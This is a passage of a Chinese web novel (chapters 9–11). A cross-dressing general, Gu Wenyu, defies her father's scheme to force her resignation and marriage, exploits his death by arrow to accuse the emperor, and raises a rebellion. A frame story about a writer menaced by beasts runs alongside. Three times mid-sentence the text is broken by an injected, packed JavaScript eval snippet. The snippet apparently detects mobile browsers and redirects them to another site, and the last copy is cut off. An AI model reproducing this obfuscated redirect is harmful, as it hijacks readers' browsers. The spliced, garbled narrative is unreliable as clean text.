顾闻玉暗暗叹气,长长叹气。 接着,她再不理会宋母的勃然大怒、愤怒呵斥,以及那一句急过一句的狠话,转身,大步离开。 “顾闻玉!你还有没有良心?你怎么可以这样说生你养你的娘?!”宋母尖声叫喊。 “顾闻玉!你觉得你懂得很多是不是?所以你可以高高在上地批判你的娘?可哪怕我没有读过书我也知道,连猪狗牛羊都知道孝顺它们的父母,而你这个连母亲都看不起的不孝女——猪狗不如!”宋母歇斯底里。 “顾闻玉,你若今天走出了院子,日后你就再也不要认我这个当娘的!你若今天不给我一个答案,日后你就再别想见我一面!”宋母开始疯狂地打砸手边的器皿。 “顾闻玉!” “顾闻玉!!” “顾闻玉!!!” 顾闻玉大步向前,没有回头。 · 当顾闻玉走到正院时,一个小厮气喘吁吁地追了上来。 他拦住顾闻玉的去路,向顾闻玉行了个礼,恭敬道:“二少爷,老爷请你去祠堂一见。” 顾闻玉了然点头,知道唱白脸的来了,于是抬腿就要往祠堂的方向走去。 可那小厮又飞快跟上一步,说道:“二少爷,府内不可佩剑,还请将佩剑暂时交给小的,小的一定会为二少爷好好保管!” 顾闻玉站定,按住腰间佩剑,挑眉一笑。 而这一次的笑,顾闻玉很清楚它的意味。 是嘲讽。 也是不屑。 但顾闻玉没有为难这个小厮,只随手摘下佩剑,抛到小厮怀里,旋即头也不回地大步向宗祠的方向走去。 当斜落的夕阳映照在顾闻玉的面庞上时,她微微眯眼,心中暗忖:所以,这位忠勇侯府顾老爷,会是自己的最后一关吗? 9. 第9章 安排 忠勇侯府顾老侯爷顾知远,在顾闻玉的记忆中,一直有着许许多多的模样。 当顾闻玉还年幼时,顾老侯爷便已过了而立之年。 那时候的顾侯爷,留给顾闻玉的记忆是高大的,也是威严的,是哪怕顾闻玉将头仰到最高,也只能瞧见一片逆光之下的阴影的畏怯。 看不清,摸不透,触之不及。 而当顾闻玉从外流浪六年,好不容易在十二岁那年归家时,顾侯爷留给顾闻玉的记忆是冷酷的,甚至是可怕的。 那一天,流浪六年后终于归家的顾闻玉,就像是被砸开了个破口的瓷瓶。 当那些在她身体里积攒了六年的委屈和痛苦喷薄欲出,让她的眼泪怎么都停不下来、让她想要丢下所有的狗屁体统狗屁规矩,抱着自己失而复得的父亲的脖子嚎啕大哭时,她却听到了一段不可思议的对话: “……闻玉,这些年来辛苦你了,不过接下来,你就先搬到庄子上去住吧。” 这是……什么意思? 顾闻玉愕然抬头。 一旁,宋母的反应极大,第一时间高声拒绝:“老爷,你怎么能这么狠心?闻玉哪怕再怎么、再怎么……不合您的心意,她也是您的女儿啊!如今她走失六年,好不容易回来了,您却说要把她送去乡下? “送去乡下的孩子,还能再回上京城吗?送去乡下的孩子,还是我们的孩子吗?送去乡下的孩子,日后还能嫁什么样的人家?老爷啊老爷,您这是要剐我的心啊!” 顾老侯爷本不欲纠缠,至少不想要在顾闻玉面前纠缠。 可宋母当又哭又闹,怎么都不肯松口时,顾老侯爷也不耐烦了,威严呵斥道:“无知妇人!闻玉她走失六年,这是整个上京城都知晓的事,如今她虽归家了,却已经没了名声,日后也嫁不了什么好人家了。 “你不把她送到庄子上去,莫不是想要留着她拖累我们顾家其他女儿的名声?闻玉是我们的女儿,珍玉难道就不是我们的女儿了吗?你把闻玉留下,有没有想过珍玉日后要如何?” 宋母含泪道:“我自也心疼珍玉,可珍玉有她的好前程,早早就与杜家订了亲……” “糊涂!”顾老侯爷厉声打断,“成了亲的女人都会被休书休弃,订了亲又如何?那杜家自恃高门,眼高于顶,对我们家珍玉本就百般挑剔,如今你这个当娘的还半点拎不清,昏招尽出,拖我们女儿的后腿——你还想不想要我们珍玉嫁进杜家了?珍玉怎么会有你这么个亲娘?!” 宋母身体晃了晃,一屁股坐在椅子上,凝噎片刻,大哭出声:“我不管,我不管!闻玉是我的女儿啊!哪怕她没有琉玉贴心,没有珍玉聪慧,可她还是我的女儿啊!老爷你若要把闻玉送走,那便把我也一块儿送走吧! “就让我们母女都离了这顾府、离了这上京城,好再也不来碍你顾侯爷的眼吧!” 之后,便是顾老侯爷一阵“无知妇孺”、“头发长见识短”的呵斥,以及宋母的哭天抢地,一哭二闹三上吊。 那一刻,顾闻玉跪在屋内,分明身为当事人,却没有半点为自己发言的资格。 她抬起头来,用几乎茫然的目光看着老侯爷,看着那个男人的影子与堂上灯烛映照出的摇曳黑暗融为一体。 很黑很黑,伸手不见五指。 很高很高,像黑天一样不可撼动。 也正是那一刻,顾闻玉脑中突然冒出了这样的一个念头:原来,自己是没有“父亲”的。 原来,顾老侯爷,就只是顾老侯爷而已。 又后来,时移世易,当顾闻玉嫁进杜家,又随着摄政王杜宏云归京后,顾闻玉虽没有刻意去拜访这位顾老侯爷,却也在摄政王杜宏云的酒宴上遥遥见过他几次。 而在那几次时间短暂的会面中,顾老侯爷要么是挺直腰背,高抬下巴,向酒宴上的后辈们和趋炎附势的小人们摆他“摄政王岳父”的谱;要么是端着酒杯,向杜宏云遥遥敬酒,分明想要像文人一样露出清高不群的模样,可最后从他脸上浮出的笑,却总是带着讨好谄媚。 那时候,宴场很大,烛火很亮。 顾闻玉坐在杜宏云的身边,可以清晰看到年幼时盘踞在这位老侯爷脸上的阴影,是如何被灯火一点点驱散的,也可以看到他那总是带着自傲和蔑视的脸上,是如何挤出讨好与谄媚的。 而如今,顾闻玉二十五岁,是秩二千石的骁骑将军。 顾老侯爷五十二岁,是空有名头,却只能靠她这个“儿子”在上京城逞威风的老侯爷。 当顾闻玉走进顾家宗祠时,顾老侯爷依然站在堂上,站在昏暗摇曳的灯烛后,影子与黑暗融为一体。 可顾闻玉抬头看时,却再没有十二岁那年的仰视、恐惧,和心惊胆战。 顾闻玉终于发现,这个象征着传承与威严、摆满了牌位的屋子,原来并不大。 真正大的是阴影,是她的恐惧、想象和不熟悉。 就好像顾老侯爷也不再是那个掌控她生死大权,一句话就能决定她未来的大人物。 当她站在这个老人面前,并且不再以敬仰之心赋予他夺目辉光时,顾闻玉意料之中地看到,这位顾老侯爷原来已如此苍老、枯瘦。 哪怕这一天,他刻意将自己收拾得干净又威严,身上带着一股父亲面对子女时天然的傲慢和严厉,可他自己都没有注意到的是,当他的目光与她对视时,他是畏怯的、是下意识回避的。 而这样的畏怯和回避,也体现在他的言语中: “我儿,如今你应当去过皇宫,听过天子的嘱咐,也去过你母亲的院里,听过你娘的劝说——如今你意下如何?” 意下如何? 这是顾闻玉在成为骁骑将军前,绝不可能从老侯爷口中听到的尊重。 哪怕虚伪,哪怕短暂,却也是一个女儿不可能从父亲口中听到的东西。 所以顾闻玉很清楚自己的选择。 “没有什么‘意下如何’。”顾闻玉漠然道,“既然母亲无事,明日一早,我就会启程回岭上关。” “糊涂!无知小儿!”顾老侯爷一声厉喝,像是恨铁不成钢,“今日天子过问你的婚事,你以为那只是随口说说?你可知对天子来说,忠勇侯府最有前途的‘顾二郎’长年在外征战,不肯成亲,也不愿留下一子半女代表着什么?” 顾闻玉很清楚。 这代表着“顾二郎”不愿将自己的软肋留在上京当作人质,代表着“顾二郎”有反心! 特别当天子年迈且病重,而太子又年幼无知时,“顾二郎”这一个常年在外的将军,手握重兵,备受爱戴和敬仰,还自由自在无家室拖累时,便显得越发刺眼了起来。 就像是梗在天子喉咙里的一根刺,吐不出来咽不下去,痛得坐立难安,彻底难眠。 ——但顾闻玉知道,这其实不是最重要的,也不是无解的。 顾闻玉笑了一声,挑眉看顾老侯爷,说:“这有何妨?等我回到岭上关,便立即纳一房妾室,生一个孩子,再把那孩儿送回顾家养在娘膝下就好。届时,我唯一的孩子都在上京城,天子和父亲还有什么好担忧的?” “糊涂!”顾老侯爷又是一声斥责,“你一个女子,如何纳妾?如何生子?” 顾闻玉淡淡道:“谁知晓我是女子?而至于孩子——岭上关的孩子多得是。” “荒唐!那如何能算我顾家的孩子?”顾老侯爷越发恼怒,“你若是随随便便将那些野种抱了回来,日后莫非还要那来历不明的野种继承我顾家爵位?” 顾闻玉反唇相讥:“顾家爵位是大哥的,父亲不是早就决定了么,如今怎么说得好似我才是下一代的顾侯爷?而既然我非侯爷,我‘顾二郎’日后抱了孩子回来,他们能继承的也只不过是我将军府罢了,父亲何必忧虑这个?” “你倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400004|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说得轻巧,却不想你那孩子抱了回来,日后定是要上我顾家族谱的——没有我顾家血脉的野种,如何能登我顾家族谱?若将那个孩子的名字放进我顾家的宗祠里,我们如何对得起顾家的列祖列宗?!” 说来说去,顾老侯爷就是不允,执意要将这个话题导向最后的那条路,也是他们早就为她顾闻玉选好的路。 顾闻玉笑了笑,脸上的表情却越发淡了,说:“这也不允那也不办,既然如此,父亲对此事又有何高见?” 顾老侯爷似是就在等着顾闻玉的这句话,闻言毫不犹豫道:“自然是各归各位!” “这‘各归各位’,父亲倒是说得简单,可二哥的瘸腿和我脸上的疤,父亲准备如何处理?岭上关的军务又如何处理?匈奴王庭的异动又如何处理?” 顾闻玉神色不变,也不同顾老侯爷说“情”,反正他们向来是没什么父女情份的,所以顾闻玉只同他说“理”。 顾老侯爷脱口而出:“岭上关的事,自有人去考虑,你且不用想那么多——如今,上京城不远处刚好有一匪寨,你出门剿匪,回来时就可对外声称你腿疾又犯了,接着你上书乞身,将兵符归还给天子。 “如此一来,你二哥就可借此机会,恢复身份,名正言顺与上京贵女成婚,之后,他留在府中修养个三五年再出门见客。 “到了那时,必不会再有人怀疑他的身份,而天子也不会再疑心我顾家,反而会因我顾家识时务、懂得急流勇退,而对我们忠勇侯府青眼有加——这岂非是两全其美之事?!” 顾老侯爷答得流畅极了,像是早在心里思考过了千遍万遍。 顾闻玉又笑了笑:“那我呢?” 顾老侯爷一愣。 顾闻玉逼问道:“父亲将顾府的前途、二哥的前途,甚至是大哥的前途,都安排得妥妥当当,那我呢?我的前途,父亲以为如何?” 顾老侯爷沉吟片刻,说:“我儿,你身为我顾家儿女,为我们忠勇侯府顾家的付出,我们全家人都看在眼里,只是你要明白,你在上京城的人们眼中,是一个十五岁就被崔家退了婚、接着便深居闺中十年都没有谈婚论嫁的老姑娘。 “而如今,你又毁容至此,想要相看一个门当户对的人家,必然是不可能的了,除非给人做妾。当然,为父知晓你必不愿受此屈辱,我顾家女儿也必不可能为人妾室,所以为父已经嘱咐你母亲,给你相看好了人家、安排好了去处—— “江南丽州的重山镇里,有位姓陈名玄的陈县丞。他人长得气宇轩昂,家有薄产,更重要的是曾受过你外祖家深恩,所以你嫁过去后,只要你为他操持好家务,照顾好他那薄命元妻留给他的一子一女,他必不可能负你。 “你们夫妻二人,日后在江南好生居住,举案齐眉,最好也能再生个一子半女,如此一来,也不枉你母亲托人为你多方相看、苦苦游说了。” 顾闻玉再一次笑了起来。 她发现自己在面对这位顾老侯爷时,实在很难忍住不笑。 顾闻玉说:“你让我,一个秩两千石的骁骑将军,辞官去给一个秩四百石的县丞,当继室?” 顾老侯爷不悦呵斥:“什么‘你’啊‘我’啊的,顾闻玉,莫要忘记你的身份!秩两千石的骁骑将军是‘顾剑屏’,不是‘顾闻玉’,而你顾闻玉,是我忠勇侯府的老姑娘,一个被退过婚、毁了容、留到了二十五岁的老姑娘! “这样的你能嫁给一位县丞当继室,已是你高攀,是你外祖宋家运作后的结果,你竟然还眼高于顶,瞧不上你未来的夫君?! “你给我记住了,日后这样的话莫要再说!否则叫你夫家人听到了,没你的好果子吃!” 这一刻,顾闻玉终于止住了笑。 “忠勇侯爷安排的,自然是极好的。” 顾闻玉抬眼,冰冷地注视着这位顾老侯爷。 “可如果我说不呢?” 10. 第10章 惊变 “你肯接受就……什么?” 顾老侯爷说到一半,一愣,慢慢皱眉:“你刚刚说什么?” 顾闻玉便再说了一遍:“我说——不!” 顾闻玉的脸色是冷的,像冰一样冷,一样锋锐,可她的眼底却像是有一簇火焰,熊熊燃烧。 她一字一顿:“我说,我不接受!” 窗外,天黑了。 呼啸的夜风吹得树木簌簌作响,仿佛某种古怪的呐喊与尖叫。 烛光摇曳的祠堂内,顾老侯爷先是一愣,像是听到了某种不可思议的东西、某个他从未想过的答案。 而后,他终于反应过来,暴怒瞬间攀上他充血的面颊: “逆女!你怎可如此自私?!难道刚刚为父跟你说的那么些话,你全都抛之脑后了吗?难道你还不明白这各归各位的好处吗?! “是,为父知道,你为我顾家付出良多,你是我顾家的功臣!可事到如今,所谓的是非功过,哪还有那么重要?你既是我顾家儿女,受我顾家的养育,那你如今为我顾家的昌盛付出,难道不是理所应当?!” “理所应当?好一个理所应当!”顾闻玉冷笑出声,再也不顾及那虚伪的父慈女孝,悍然撕掉了那道貌岸然的面皮,“我且问你,我们顾家女自是要为你忠勇侯爷的前程付出,无论是大姐还是二姐的婚事,都必要给你创造机会,让你能攀着她们的裙带往上爬。 “而我顾闻玉,自然也‘理所应当’地要为家族付出一切,嚼碎了骨肉也得用血给你们顾家的祠堂铺上一层辉光——那你们顾家的男人呢? “你忠勇侯身为高高在上的父亲、高高在上的侯爷,自是端坐高堂,什么都不必劳心费力,那么那位小侯爷顾扬风,还有那位真正的顾二郎呢?他们又在做什么?!” 不等顾老侯爷大怒,顾闻玉笑了一声,轻蔑回答道:“哦,是了,我想起来了,是在京城里享福呢。 “寝着他们大姐姐骨头筑成的高床,吃着他们二妹妹皮肉换来的珍馐,呼喝着他们三妹妹在战场上出生入死换来的美婢为他们红袖添香,最后衣服一穿,人模人样地说‘顾家女儿受到顾家供养,为顾家付出理所应当’……对吗?” 顾闻玉的这一番嘲讽,辛辣且刻毒。 明面上,她分明没有一句话是在指责顾老侯爷,可实则她句句话都在指责着顾老侯爷——虚伪无耻,恶毒贪婪,不似人样! 顾老侯爷听着这话,本就涨红的面容,这一刻近乎涨出了紫色。 然而,当顾闻玉好声好气同他说话时,他傲慢摆出一副威严不容忤逆的父亲模样;可当顾闻玉冷笑厉斥时,他反而想起了自己面前这个人的身份,想起了顾闻玉并不仅仅是他的女儿,更是战场上杀敌无数的骁骑将军! 于是,被一通嘲讽的顾老侯爷,反倒是按捺下了脾气,忍气吞声道: “我儿,我知晓你觉得委屈,可你有没有想过,如果你不辞官,如果你和你二哥哥不各归各位,我顾家会有怎样的结果?你可想过你的父母、想过你大哥二哥大姐二姐,又会有什么后果? “如今,我顾家已是烈火烹油之势,已到了不得不退之地!今日早上,你方刚进了宫,同天子说了话,被天子问及了你的终身大事,不到半盏茶的工夫、甚至还没等你走出皇宫,这段话就已经被传得沸沸扬扬——这件事代表着什么,你莫非不知么?!” “那又如何?!”顾闻玉傲然道,“只要我还是骁骑将军,这些传得沸沸扬扬的消息,也只能沸沸扬扬而已。” 顾闻玉知道天子是什么意思,无非是逼顾家和“顾二郎”表态。 而既然是表态,就代表这绝非“顾闻玉”之死局! 只要顾家肯配合她跟天子转圜,只要她“顾二郎”能献上打动天子的功劳、衷心,甚至是把柄,那么这件事依然是可以被安然翻篇的。 但问题就在于—— 顾家不愿。 顾家不愿为了她顾闻玉,付出足以取信天子的代价。 甚至顾家也不愿再满足于那些从“骁骑将军”指缝中漏下的权势和利益了。 他们想要将她啃噬、将她吞没,想要将“骁骑将军”带来的一切权势财富统统收回顾家,收回他们手中! 就连天子的猜忌,也化作了他们试图啃食她的借口,成为了逼迫她从台前退下,将一身权势“交还”顾家男人之手的理由! 说什么烈火烹油、不得不退。 就这一门上下倒腾不出半个立得住的男人的门户,谁人会放在眼中? 这样的狗屁道理,骗骗他们自己就算了,还想拿来唬弄她顾闻玉? 真真是痴人说梦! 见顾闻玉如此冥顽不灵,顾老侯爷痛心疾首:“你这般心高气傲、目光短浅,这般不懂事不识大体,是不是一定要等到我顾家抄家灭族,你才知晓何为悔、何为痛?!” 顾闻玉针锋相对:“这便不劳顾老侯爷操心了!我相信只要我骁骑将军顾二郎还在位的一天,天子就必然会厚待顾家一天。 “而若有一天,天子当真辜负了臣子的一腔热血,想必那也是我们为人臣子的命运,是顾老侯爷你受天子之恩这么多年,理所应当为天子付出的代价罢了!” “你、你、你——无知小辈!” 分明顾闻玉只不过将顾老侯爷的话稍稍改动两句后抛回去罢了,后者却轻易就被气得脸色发绿,两眼发晕,嘴唇都哆嗦了起来。 “顾闻玉,我告诉你!今天你没得选!” 顾老侯爷深吸一口气,扶住桌案,瞪视着顾闻玉的脸上横眉竖目,表情在阴森的顾家祠堂内显得分外狰狞。 “这官,你辞也得辞,不辞也得辞,我顾家上下数十口人命,由不得你一介女流胡来!” 顾闻玉好整以暇,脸上笑意发冷:“那侯爷准备如何令我辞官?” 顾老侯爷亦是冷笑:“只要你上不了朝,出不了这个院子,日后你如何,还不是我这个当父亲的说了算?!” 说着,顾老侯爷将桌案上的茶盏用力往地上一摔。 哗啦! 先是瓷器碎裂的声音。 紧接着,顾家宗祠的大门轰然破开,一行数名牛高马大的壮汉,穿着顾家家丁的衣服,鱼贯而入。 他们虎视眈眈地注视着顾闻玉,像是只要顾老侯爷一声令下,他们就会一拥而上,将顾闻玉死死按在地上。 而这,也是顾老侯爷白日里让小厮收走顾闻玉腰间佩剑的理由! “我儿,就让我这个当爹的最后再教你一次吧,所谓的权势,即权与势,缺一不可。权是力量,势却是用人的手段,像你这般只有匹夫之勇的人,是永远走不到最后的!”顾老侯爷志得意满,“这就是我教你的最后一课,毕竟,君为臣纲,父为子纲——父教子,天经地义!” “哈哈哈哈!” · 轰隆! 现实世界里。 随着最后一记雷声,天色彻底黑了下来,而原本瓢泼的暴雨,竟诡异地停下了。 【不好了,不好了!写手,你快看——】 系统的声音又一次响起,打断了柳轻絮的思路,也打断了这个越发走向紧张和高潮的故事。 可柳轻絮却顾不得跟系统讨论这个,因为那危险的、从不知道生嚼过多少血肉的嘴里传来的恶臭,已经从窗外侵入,飘到了柳轻絮的鼻尖,摄住了她的心神。 【它们来了!它们开始动了!它们准备来狩猎你了!】 【不能再等了,写手,再不结算这个故事,你真的会死的!!】 系统吓得几乎在整个草屋里上蹿下跳,几乎要变化出手来,把柳轻絮脑子里的水尽数摇出去。 可柳轻絮只是靠在窗边,瞥了一眼那些只有百米之遥的豺狼,远处似是带着帽子招手的“人影”,以及山林内飘来荡去发出嘻嘻笑声的人面猴,便又果断打开了书。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400005|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怕什么。” 柳轻絮自然是恐惧的。 没有人会在面对近在咫尺的野兽和近在眼前的死亡时,不感到恐惧。 可柳轻絮更明白,恐惧是没用的,逃避也没用。 唯有迎难而上,破解命运给出的难题,那崭新的世界之门,才会向自己正式敞开! “现在结算,虽然能应付眼前的危机、能多活一时片刻,但我们都知道,时间一到,只有凡人之力的我还是要死的。” 柳轻絮看着窗外无数绿油油的眼睛,在极致的压力和危险下,反而笑了起来: “既然我早晚要死——那不如奋力一搏!” · 随着这群家丁的涌入,就如顾老侯爷所想的那样,一直桀骜而不听训诫的顾闻玉,蓦然变了脸色! 然而,下一刻,从顾闻玉口中高喊出来的话,却叫顾老侯爷在茫然的同时,感到一阵说不出的毛骨悚然。 “父亲,你便是如此信不过孩儿吗?孩儿一生忠心为国,此情此心,天地可鉴! “即便如此,即便我向你发誓,我顾二郎若有半点不臣之心,必天发杀机、天地可诛,你也还是要为了天子而围杀你最喜欢的儿子吗? “父亲,父亲!你糊涂啊,你好狠的心!你这样做,如何对得起顾家的列祖列宗!” 在听到顾闻玉这番牛头不对马嘴的话时,顾老侯爷有一瞬间是茫然的:这个逆女,她在说什么? 可下一瞬间,一股可怖的危机感涌上:不好,不好!她高声把这样的话喊得整个顾府人尽皆知,莫非是想要—— 顾老侯爷想要大叫,想要怒斥,可无穷无尽的危机感如潮水涌来,没过顾老侯爷的胸膛,让他几乎喘不上气来。 但很快的,顾老侯爷就发现,他不是“几乎”喘不过气,而是真的喘不过气来了。 因为就在这一瞬间,三支夺命的连珠箭倏尔从窗外劲射而入! 这三支利箭,其中有两支箭是朝着顾闻玉而去的。 顾闻玉作为马背上的将军,身手极快,几乎瞬间便躲开了去,于是那两只利箭咄咄刺入地面,溅起无数泥灰。 可这还不算完,最要命的是,这三支利箭中的最后一支箭,竟是朝着顾老侯爷而来的! 顾老侯爷沉迷酒色多年,哪里躲得开这样快的箭? 于是几乎没有任何反应时间,那箭便正中了他的胸口! 顾老侯爷愕然看着自己胸口的利箭,倒头栽下。 顾闻玉立时扑上前,抱住了顾老侯爷,高声哭喊:“爹!爹,你怎么了?是谁?是谁要害我爹?!” 顾老侯爷明白了过来——他终于明白了过来! 顾老侯爷躺在顾闻玉怀里,目眦欲裂,手指死死抓住顾闻玉的衣服,口中嗬嗬作响,像是想要说些什么。 顾闻玉脸上只有悲痛,高喊道:“爹?爹你想要说什么?你想要告诉我是谁害了你对不对?你快说、你快告诉孩儿啊!!” 顾老侯爷脸上的血色以极快的速度褪去,就和他胸口涌出的鲜血一样快。他艰难地想要开口,想要向在场的所有人揭示这一场惊天动地的阴谋。 可偏偏大股大股的鲜血从他口中涌出,叫他半句话都说不出来。 “你……你……好、好狠……的……的……” “什么?!”顾闻玉一声暴喝,掩盖了顾老侯爷生命中的最后一句话,“天子?竟是天子?!” 顾闻玉中气十足,一声含着满腔悲愤的呐喊,几乎在这个夜里传遍了整个上京。 “是天子要谋害我忠勇侯府!是天子要谋害我顾家!是天子——杀了忠勇侯!!” 这一刻,无穷无尽的大火从忠勇侯府顾家燃起,点燃了上京城的半边天。 无数人听到了顾闻玉悲愤的呼喊。 无数人看到了顾家的大火。 “是天子杀了忠勇侯!” “是天子杀了忠勇侯!!” 11. 第11章 天命 这个晚上,火焰烧红了天空。 无数人都为此惊叫奔走起来。 “走水了!走水了!” “快来人救火啊!!” 顾家宗祠内。 那群早就被这起电光石火间的骇人变故惊到呆若木鸡的家丁们,终于被屋外的慌乱唤回了神。 他们不敢相信自己竟然倒霉。 明明他们只不过是来走个过场而已,明明这只不过是一场“家务事”、一次“族内事”而已,结果他们竟卷入了一场刺杀,目睹了忠勇侯之死,甚至听到了这样骇人听闻的消息—— 那杀忠勇侯的,可是天子啊! 他们竟然亲眼瞧见了天子杀害一位侯爷?!! 一时间,家丁们纷纷慌了神,想也不想,掉头就跑。 而待到他们一哄而散后,顾闻玉脸上的悲愤、眼泪和痛苦,也就这样消失了。 她紧紧抱着怀里的忠勇侯侯爷,从屋外看来,就像是不愿接受自己父亲离去的孝顺儿女一样,分外悲凉。 可事实上,只有濒死的顾老侯爷听到,这个流着自己血脉的狼子野心之徒,在做着如何令人心惊肉跳的剖白: “父亲啊父亲,这怕是我最后一次叫你父亲了……你替我斩断了最后一丝犹豫,用性命为我铺好了起事之路,我得好好谢谢你。 “从许多年前我就知晓,这世间其实是没有公平和信义可言的,有的只是主人与奴仆的区别。有人高高在上执掌生死,就有人跪伏在地任人践踏! “所以在想明白的那一天我就发誓,如果一定要有人成为奴仆,那我一定要成为那个主宰他们性命的主人;如果一定要有人趴伏在地还被践踏入泥,那我一定要成为那个踏着他们的骸骨登上最高处的人! “王侯将相,我皆可取得!那杜宏云做得的事,我也做得;那李氏能坐的江山,我更坐得! “安心去吧。他日我若成事,我会记得给你烧一炷香。” 熊熊火光中,在顾老侯爷满腔不甘和无尽悲愤中,他恍惚看到有人来到了顾闻玉身旁,拉扯着她,喊道“将军快走”、“将军危险”、“将军耽搁不得”。 那是顾闻玉秘密带回上京的亲兵,是受伤退役后被顾闻玉安排在忠勇侯府铺子里的旧部。 他还看到,有人从祠堂外奔到顾闻玉身前,向她献上佩剑,献上印章。 那是白日里曾经拿走顾闻玉佩剑的小厮,是顾侯爷原本想用来对付顾闻玉的家丁,是夜晚曾为顾家男人红袖添香的美婢,是所有曾属于忠勇侯如今却独属于顾闻玉的一切! 最后,顾老侯爷流尽了血,不甘不愿地咽气了。 而顾闻玉则被她上京城里的旧部、上京城外的亲兵、忠勇侯府的家丁小厮们拥簇着,生拉硬拽地离开了火焰中的侯府,接着又在上京城守卫赶来之前,骑上早就准备好的马,冲出了后知后觉包围过来的卫兵,将那飞射的箭矢统统抛在身后。 直到一行人终于离开了危机四伏的上京城时,与早就安排好的接应的部下会合时,顾闻玉的发冠早已不知去了那儿,发髻散乱,衣衫上满是鲜血,就连鞋子都被踩掉了一只,狼狈极了。 而在她的身旁,除了大部分亲兵与旧部之外,那些自发跟着她的家丁和仆婢,也只有“护送”宋母的那些人还紧跟着,其他的那些人,不是半路被皇城守卫射杀了,便是跟不上快马的速度被落下了。 顾闻玉环首四顾,看着这凄凉一幕,失声痛哭。 她用饱含屈辱、悲愤,以及不被天子理解的痛苦的声音,向自己的部下含泪问道: “为何陛下对我顾家猜忌至此,甚至不惜在上京城我顾家宗祠前射杀我父? “我顾家乃开国功臣之后,自太祖起事时,便追随左右,为太祖开疆拓土、出生入死,方得‘忠勇’之名。百余年来,我顾家忠心耿耿,世代谨守臣节,隐忍谦退,从未有过半分不臣之心! “及至边关告急,我奉命于危难之间,携一片为国为民之志和一腔为天子分忧之心,奔赴岭上关。受命以来,我与士兵同吃同住,餐风宿露,夙夜忧叹,十年来未敢有半点懈怠之心,唯恐辜负陛下之恩。 “然陛下依然对我顾家心存猜忌,先诈称家母病重,召我返京,后又命我父亲收走我的兵刃,意欲在我顾家宗祠设伏,围杀于我! “可怜我父亲忠勇侯,一生赤诚事君,即便陛下要他取我性命,也含泪领旨。可在我顾家宗祠时,我父亲仅不过是有了半点犹疑、半点不忍,竟就被天子射杀于我顾家宗祠之前! “若非我精于骑射,在千钧一发之际躲闪开去,此刻怕也是要被天子派来的杀手一同射杀,命丧黄泉!何以如此?我顾家一片丹心,可昭日月,为何竟落到如此境地? “我本将心比明月,奈何明月照沟渠……天日昭昭,何以如此,何以如此啊!!” 无人能够回答。 唯有顾闻玉这位威风赫赫的骁骑将军,在无数部下面前涕泪横流,捶胸痛哭。 一旁,顾闻玉的亲兵旧部们,听着顾闻玉的悲情剖白,看着自家将军此刻的狼狈模样,也是忍不住潸然泪下。 这一刻,这群人心中都被埋下了别样的种子、另类的火焰。 只要一遇上东风,便会熊熊燃烧,一发而不可收拾! 之后,在亲兵旧部们的掩护下,顾闻玉带着悲痛昏迷的宋母一路狂奔,昼夜不停,回到了岭上关。 那些没来得及跟上顾闻玉脚步、又听到了顾闻玉这番悲痛质问的家仆们,在顾闻玉逃亡的路上被抓的抓,躲的躲。 而从他们口中,顾闻玉在皇城外的那一段悲痛剖白,被一点点拼凑完整,在皇城中传得沸沸扬扬,几乎人尽皆知。 也因此,天子意图派人围杀骁骑将军顾二郎不成,便在顾家宗祠前射杀忠勇侯的事,也成了天子板上钉钉的罪行! 那一天,那位高高在上,一生顺风顺水,将天下视作后花园、将臣子视作虫豸的天子,处罚了多少宫人,摔碎了多少瓷器,又在第二天的早朝上受到了多少弹劾,远在岭上关的顾闻玉不知道,也不关心。 她只是以“被逼无奈”和“为父报仇”之名,举起反旗,将岭上关附近的三城之地,划入自己麾下。 顾闻玉非常清楚,这位天子已命不久矣,而她要等待的时间,也必不会长! 果然,短短一年后,本就垂垂老矣,又因“射杀忠臣,逼反将军”而受到万人唾骂的天子,在某天晚上怒摔茶盏时,一个气没顺过来,倒头栽倒,一命呜呼! 而在老天子死后,即位的是只有八岁的太子。 然而在这位备受先帝宠爱的小太子的头上,他还有四个年轻力壮的兄长! 因此,几乎在小天子继位后没多久,他便按照朝廷重臣的指示,向远在边关的顾闻玉发出一封诏书,言辞恳切地请求顾闻玉前往上京坐镇,并承诺给顾闻玉摄政王之位。 曾经只能被顾闻玉仰望的权力地位,如今她唾手可得。 可顾闻玉并不允诺,反而向颁旨的太监厉声道:“天子用我弃我,意欲杀我,如今又想要以权势诱我,未免小瞧了我顾家人! “我当年奔赴岭上关,绝非是为了权势,而是因一腔忠勇之心;所以如今我若要回京,也绝不可能是为了权势,而是为我枉死的父亲平冤昭雪! “且回去告诉那位高堂上的天子吧!若他肯向天下人承认先帝的过错,承认当年是先帝以小人之心揣度我顾家人,也是先帝无故射杀我父,才令一生尽忠的忠勇侯枉死京城! “只要天子肯向天下人昭告这件事,我定然以臣子之身回京,不求任何权力地位,只愿用我一身残躯,护天下太平盛世!” 颁旨的太监们仓皇回京,在朝堂上战战兢兢地向小天子和三公九卿们转述了顾闻玉的话。 而之后,就如同顾闻玉所想的那样,朝廷再没有了动静,也再不提让顾闻玉回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 